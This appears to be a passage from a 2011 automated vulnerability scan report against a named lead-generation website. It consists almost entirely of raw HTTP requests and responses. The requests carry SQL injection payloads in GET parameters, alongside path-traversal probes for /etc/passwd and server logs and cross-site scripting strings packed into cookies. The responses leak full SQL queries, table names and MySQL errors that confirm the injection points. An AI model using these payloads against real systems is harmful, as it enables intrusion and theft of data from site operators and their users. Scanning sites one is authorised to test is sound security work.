Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:29:10 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=evflpkkihckjvokf3onkcekcl6; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/dima00/project.php

/ppc/leadflow/dima00/project.php

http://www.insideup.com/ppc/leadflow/dima00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/dima00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:30:27 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=88ulg04btkiuje7o0bi9imeqk7; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/dima00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/hins00/project.php

/ppc/leadflow/hins00/project.php

http://www.insideup.com/ppc/leadflow/hins00/project.php?catId=50002&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	50002
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/hins00/project.php?catId=50002&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:31:57 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=2sbtagus4fhiuntou2ctogm7j1; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/hins00/project.php?catId=50002&iusrc='+ (select 